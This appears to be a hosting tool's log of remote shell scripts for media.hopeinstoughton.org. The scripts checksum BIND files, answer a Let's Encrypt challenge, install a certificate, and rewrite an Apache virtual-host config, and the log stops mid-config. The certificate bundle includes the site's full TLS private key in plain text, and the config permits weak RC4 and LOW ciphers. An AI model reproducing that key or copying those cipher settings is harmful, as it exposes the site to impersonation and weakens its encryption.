MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-09 11:29:07: Establishing a connection
2025-10-09 11:29:07: Establishing a connection
2025-10-09 11:29:08:
PUT: /tmp/pkp361081
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_media/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-09 11:29:08:
chmod 755 /tmp/pkp361081; /tmp/pkp361081; rm /tmp/pkp361081
2025-10-09 11:29:08:
1
2025-10-09 11:29:09: Establishing a connection
2025-10-09 11:29:09:
PUT: /tmp/pkp545987
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
cat > c3ftzaMP7N23cSWDkv1t8b9nKSsK2Ig0XxDnt9rCJNY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
c3ftzaMP7N23cSWDkv1t8b9nKSsK2Ig0XxDnt9rCJNY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 c3ftzaMP7N23cSWDkv1t8b9nKSsK2Ig0XxDnt9rCJNY
2025-10-09 11:29:09:
chmod 755 /tmp/pkp545987; /tmp/pkp545987; rm /tmp/pkp545987
2025-10-09 11:29:09:
2025-10-09 11:29:16: Establishing a connection
2025-10-09 11:29:16:
PUT: /tmp/pkp701450
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
rm c3ftzaMP7N23cSWDkv1t8b9nKSsK2Ig0XxDnt9rCJNY
2025-10-09 11:29:16:
chmod 755 /tmp/pkp701450; /tmp/pkp701450; rm /tmp/pkp701450
2025-10-09 11:29:16:
2025-10-09 11:29:16: Establishing a connection
2025-10-09 11:29:16:
PUT: /tmp/pkp981063
#!/bin/bash
temp_file=$(mktemp)
TARGET=761f20410d05cde2a6e96bdaa7145760.crt
cat > $temp_file <<'endmsg'
aa:8d:26:e3:d4:80:5f:30:31:e2:50:0c:d9:d6:d8:a4
-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBvFWDJoJgTcgw8699OnQlDaqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA5MTAzMDQ0WhcNMjYwMTA3MTAzMDQzWjAkMSIwIAYDVQQD
ExltZWRpYS5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAtyrRuZc8DY7lnSS6I9bYpzvcYgsXqeQa93ld5wZQvpl56eH6
nhn1/1IootanCh2BotxUspFobKLtEAG6bqERFP/PIWgEN7KRlVEr0UJ90WrSRfcq
EtQAdpIOUiuvHpPZQG/3H8Nu4+cLkLQMPougneTifWs1smOCAL07PY6V/p0VXyp6
JNMaxEOTd2ysE+A+SaUU8MlSu7RrDs7HtuYEiuMU//BrahtLtVBdp5fKbDXedknI
cle3ArerKb5s+0IhlgKvow0CUtDoExLzMQvW7LBAE/OirImkCCxhwERJFXAmyL+H
oqM6lCKcfNjNCaOX6+CSiCz9tKhwnqHWVlsJGwIDAQABo4ICKTCCAiUwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBQOcAPawv8YmkyX370TuzlR92y+iDAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGW1lZGlhLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy80My5jcmwwggEEBgorBgEE
AdZ5AgQCBIH1BIHyAPAAdgAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVO
IQAAAZnIu3t3AAAEAwBHMEUCIQCNBhliVIr626ReraUgcCjcuWBcAJRr/jArGozA
WrIEqgIgPxISo5y0bcB9sx8OM+xOgJV9n6BcRY7wUYBe/xWZLO8AdgDLOPcViXyE
oURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZnIu4NVAAAEAwBHMEUCIQDaSzWK
cJbWAgRYigKes7pcV3WHY0AQ9zB7Z27Twp6k9gIgBep6gRoTvogI4f9OI1xxUdj2
ZvoAbjhs/EZoFy+wKykwDQYJKoZIhvcNAQELBQADggEBAGoY73R6loOdEUFWIEYL
L9+lGpPitNRCv1YC/goEyGQhRhObWq6/Ls8LwwtF0XcBYpA9eQGE1kJW6umfQ+DO
4AWTPu8giHH7iFk9voiuneq9XA/57D118o0I/EAbPPwxb4NSdEl/ojOBcuceId/H
OVBMC2X/S98OZ4D/83hvxumAf1layVr/8slvbSbTmzHnywHhHewB9yrzvcAUnCwi
bMHqOgupXIfYuf2behfFdGcsjid+Ce0q6Swrjjg49iJlOxsDvHOhVO8DRtmAhsfS
gLakFA+5SDz4fFxrVHzwR/Pwg/9tNcfpUdoLCyp5vqirjMP0htNOjahII6+NaWvH
B1U=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC3KtG5lzwNjuWd
JLoj1tinO9xiCxep5Br3eV3nBlC+mXnp4fqeGfX/Uiii1qcKHYGi3FSykWhsou0Q
AbpuoREU/88haAQ3spGVUSvRQn3RatJF9yoS1AB2kg5SK68ek9lAb/cfw27j5wuQ
tAw+i6Cd5OJ9azWyY4IAvTs9jpX+nRVfKnok0xrEQ5N3bKwT4D5JpRTwyVK7tGsO
zse25gSK4xT/8GtqG0u1UF2nl8psNd52SchyV7cCt6spvmz7QiGWAq+jDQJS0OgT
EvMxC9bssEAT86KsiaQILGHAREkVcCbIv4eiozqUIpx82M0Jo5fr4JKILP20qHCe
odZWWwkbAgMBAAECggEATqRZy189b2zM9P1R1hVmi9bNtmKg1FaVpW88e/ZgMJVg
nKRjoAHxdp/lxpR2v4cPo8cJrmlz9kC1m8vCKcGJvgRfAC7SsL9AdmWVdJEhyAof
Id8O92qCkGYBNBKBa5V7D4mDBuY39C2873H+V9RHL8OX4tVnBqJmrL6ScsmHaPt6
O/Xc9tj9GVpHjvlg/6c8GmGBo04CBNHbYQ0pFLdsegGnVJ2l5hrW4q9REmCngbEV
bkgFmfDeAhX6LJe9/oBUP6TrY26ygM8HuE+nLBw/Br8/kYvnzKvL8SxBRQeAOfLZ
THaCgGGr+jumCZm9oozG1lvryMyvAfZXA9glZvtR8QKBgQDpX2fxEFeCkFij0U6f
y/hKe1csaeqb8t3iiPX1gXFFRqeU3Ij1uOYEzZ3AbViiM+Ei38ctzQR6X/aKr9YT
dVzbTs/BUZPKwOksfikgsOdEMiIBOt3OcUjHqM+nTflWQ87tQykIr0neGLvYTNrl
RQQ0WAtQMnVHrv7ZjsnqNRAYLwKBgQDI7UDvVdM+zXYlTC8duLN+07r0+9ZZmFjC
r/KajFsPygbUPOf0l/anyPsgqQbSwAgZW51VytdShFStFwf4FL/t78ZKjP3whNg+
PDah5q7MT2WOaXm/2L5jwqf7quTEL/wQ7sfoVXqMLLmllqyOzhSvqbdJ+HoVMx9B
RBLdvrM21QKBgG+MuQRTSWERWi1DuQ9M0evYNPz3y7qrRkAoM1kcfGYeta/EEntR
3DDjj8oQ+lLd9XlT+cL8wm00PYZhMjSu3qm9bDT9p2U8/LfVvhbwODsys2pfFvK8
14sIN+nCrbH8S4bBmXWbQ/WzYOatJdx9NttGUnINDF4tWYfoZr9aiczlAoGBALQ7
der6PqJwJRFx1DXB72jNvj9xA6acrMn+kA0n56szGosZEyxpf/yjoPh8Bj3Xuawd
bPV/HUTMpTQam7Bh1IQ3d9R5wnQUhfDVjGAQEC3+7mcfn/GCF85e1tY+RjThoicC
OdnjiyjgGas6jBERNKcaAurcc44+rEOcL5wvKoz9AoGBAL+SS6twoMdw8ujAQFEl
HZPFgl2prcAYpgvim3uHPSWKXc+Ea06tkFHOA9/mgqwZPVxTztvN+M+i/C2GyG3T
YHzAbdjaMKXi4ZqGouXGFgqA+oljPNHlaSOtotNnm8Q44YlcbXp+y/hpOLbPmp8d
/DM4tifAkmI/TRKup0hMdq4x
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-09 11:29:16:
chmod 755 /tmp/pkp981063; /tmp/pkp981063; rm /tmp/pkp981063
2025-10-09 11:29:16:
dir=/etc/ssl/certs
2025-10-09 11:29:16:
PUT: /tmp/pkp669773
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-09 11:29:16:
chmod 755 /tmp/pkp669773; /tmp/pkp669773; rm /tmp/pkp669773
2025-10-09 11:29:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf 49
<VirtualHost *:80>
ServerName media.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_media/public
<Directory /var/www/hopeinstoughton_media>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Directory /var/www/hopeinstoughton_media/public/static>
Header add Access-Control-Allow-Origin "*"
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/media_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/media_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName media.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt
DocumentRoot /var/www/hopeinstoughton_media/public
<Directory /var/www/hopeinstoughton_media>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Directory /var/www/hopeinstoughton_media/public/static>
Header add Access-Control-Allow-Origin "*"
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/media_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/media_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-09 11:29:16:
PUT: /tmp/pkp697808
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_media_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName media.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_media/public
<Directory /var/www/hopeinstoughton_media>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Directory /var/www/hopeinstoughton_media/public/static>
Header add Access-Control-Allow-Origin "*"
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/media_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/media_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName media.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt
DocumentRoot /var/www/hopeinstoughton_media/public
<Directory /var/www/hopeinstoughton_media>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Directory /var/www/hopeinstoughton_media/public/static>
Header add Access-Control-Allow-Origin "*"
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/media_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/media_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
